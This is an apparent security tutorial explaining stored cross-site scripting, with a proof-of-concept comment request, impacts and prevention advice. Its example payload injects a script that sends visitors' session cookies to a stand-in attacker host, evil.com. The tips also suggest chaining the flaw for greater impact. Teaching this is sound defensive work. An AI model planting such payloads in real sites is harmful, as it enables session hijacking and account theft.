🧠 What is Stored XSS?
Stored Cross-Site Scripting (also known as persistent XSS) is a type of web vulnerability where malicious scripts are injected into a target application and persistently stored on the server (e.g., in a database, logs, or message boards). When other users load that data, the script executes in their browser, potentially leading to session hijacking, phishing, or full account compromise.
📚 Key Concepts
- Persistence: The payload is stored server-side and affects multiple users over time.
- Trigger: Triggered when a user views or loads the vulnerable content (e.g., viewing a comment, post, or profile).
- Impact: Can lead to account takeover, data theft, CSRF chaining, or malware delivery.
- Targets: Comment systems, forums, product reviews, user profiles, support tickets, etc.
🔬 How Stored XSS Works
- The attacker submits a crafted payload in a vulnerable input (e.g., a blog comment).
- The server stores the data without proper sanitization.
- When other users access the page, the browser executes the malicious script as part of the page content.
🌐 Real-World Example
Imagine a blog platform where users can comment on articles. An attacker submits the following payload:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
This payload gets stored in the database. When an admin views the comments, their browser runs the script, and their session cookie is exfiltrated to the attacker.
🔧 Proof of Concept (PoC)
1. Submit a POST request with malicious input:
POST /comment HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
username=haxor&comment=<script>alert('Stored XSS PoC')</script>
2. Server stores this comment and renders it without escaping:
<div class="comment">
<strong>haxor</strong>:
<script>alert('Stored XSS PoC')</script>
</div>
3. Any user visiting this page sees an alert — or worse, suffers an attack.
🔥 Impact of Stored XSS
- Session hijacking using cookies
- Account impersonation
- Phishing attacks via DOM manipulation
- Keylogging and credential theft
- Full control over client-side behavior
🛡️ Prevention & Mitigation
- Input validation: Reject or sanitize input on server side using allowlists.
- Output encoding: Use context-aware encoding libraries (e.g., HTML escape).
- Content Security Policy (CSP): Restrict where scripts can load or execute from.
- Use modern frameworks: Frameworks like React/Vue escape output by default.
- Sanitization libraries: Use DOMPurify or similar for rich text inputs.
💡 Pro Tips
- Test inputs on all fields that get stored and later displayed
- Check both web and mobile apps for shared API vulnerabilities
- Use developer tools (e.g., Burp Suite, browser DevTools) to view raw HTML output
- Chain XSS with CSRF or privilege escalation for critical impact